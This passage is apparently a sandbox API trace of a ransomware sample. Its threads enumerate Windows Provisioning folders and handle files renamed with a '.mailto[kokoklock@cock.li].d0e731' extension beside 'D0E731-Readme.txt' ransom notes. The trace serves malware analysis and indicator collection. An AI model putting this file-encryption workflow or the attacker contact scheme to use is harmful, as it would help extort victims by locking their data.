lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc8e7d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cc8e7d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.708] FindClose (in: hFindFile=0x2f806a0 | out: hFindFile=0x2f806a0) returned 1 [0176.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021b18) returned 1 [0176.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7220) returned 1 [0176.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ac88) returned 1 [0176.708] RtlExitUserThread (Status=0x0) Thread: id = 2479 os_tid = 0x834 [0176.334] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.334] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.334] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.335] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cf80) returned 1 [0176.335] RtlExitUserThread (Status=0x0) Thread: id = 2480 os_tid = 0xc20 [0176.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa72e8 [0176.336] wcscpy (in: _Dest=0x2fa72e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0176.336] wcscat (in: _Dest=0x2fa72e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" [0176.336] wcscat (in: _Dest=0x2fa72e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*" [0176.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021d80 [0176.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ccb4935, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806e0 [0176.336] wcscmp (_String1=".", _String2=".") returned 0 [0176.336] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ccb4935, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.336] wcscmp (_String1="..", _String2=".") returned 1 [0176.336] wcscmp (_String1="..", _String2="..") returned 0 [0176.336] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.336] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.336] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f96a28 [0176.337] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0176.337] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" [0176.337] wcscat (in: _Dest=0x2f96a28, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0176.706] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ccb4935, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ccb4935, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.706] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.706] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.706] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ccb4935, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ccb4935, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.706] FindClose (in: hFindFile=0x2f806e0 | out: hFindFile=0x2f806e0) returned 1 [0176.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021d80) returned 1 [0176.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa72e8) returned 1 [0176.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0abc0) returned 1 [0176.706] RtlExitUserThread (Status=0x0) Thread: id = 2481 os_tid = 0xd78 [0176.337] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.337] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.337] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.338] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d098) returned 1 [0176.338] RtlExitUserThread (Status=0x0) Thread: id = 2482 os_tid = 0xa00 [0176.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa76d0 [0176.339] wcscpy (in: _Dest=0x2fa76d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0176.339] wcscat (in: _Dest=0x2fa76d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" [0176.339] wcscat (in: _Dest=0x2fa76d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*" [0176.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021fe8 [0176.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cd272dc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80720 [0176.340] wcscmp (_String1=".", _String2=".") returned 0 [0176.340] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cd272dc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.340] wcscmp (_String1="..", _String2=".") returned 1 [0176.340] wcscmp (_String1="..", _String2="..") returned 0 [0176.340] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.340] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.340] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f96b80 [0176.340] wcscpy (in: _Dest=0x2f96b80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0176.340] wcscat (in: _Dest=0x2f96b80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" [0176.340] wcscat (in: _Dest=0x2f96b80, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0176.704] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd272dc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cd272dc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.704] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.704] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.704] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd272dc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cd272dc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.704] FindClose (in: hFindFile=0x2f80720 | out: hFindFile=0x2f80720) returned 1 [0176.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021fe8) returned 1 [0176.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa76d0) returned 1 [0176.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a968) returned 1 [0176.704] RtlExitUserThread (Status=0x0) Thread: id = 2483 os_tid = 0x81c [0176.341] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.341] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.341] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.341] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.341] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d1b0) returned 1 [0176.341] RtlExitUserThread (Status=0x0) Thread: id = 2484 os_tid = 0xd7c [0176.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7798 [0176.342] wcscpy (in: _Dest=0x2fa7798, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0176.342] wcscat (in: _Dest=0x2fa7798, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" [0176.342] wcscat (in: _Dest=0x2fa7798, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*" [0176.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022250 [0176.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c70b03c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80760 [0176.344] wcscmp (_String1=".", _String2=".") returned 0 [0176.344] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c70b03c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.346] wcscmp (_String1="..", _String2=".") returned 1 [0176.346] wcscmp (_String1="..", _String2="..") returned 0 [0176.346] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.347] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.347] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f96cd8 [0176.347] wcscpy (in: _Dest=0x2f96cd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0176.347] wcscat (in: _Dest=0x2f96cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" [0176.347] wcscat (in: _Dest=0x2f96cd8, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0176.701] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c70b03c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c70b03c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.701] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.701] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.701] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c70b03c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c70b03c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.701] FindClose (in: hFindFile=0x2f80760 | out: hFindFile=0x2f80760) returned 1 [0176.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022250) returned 1 [0176.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7798) returned 1 [0176.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b6b0) returned 1 [0176.701] RtlExitUserThread (Status=0x0) Thread: id = 2485 os_tid = 0xd74 [0176.347] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.347] SetFileAttributesW (lpFileName="C:\\Users\\All 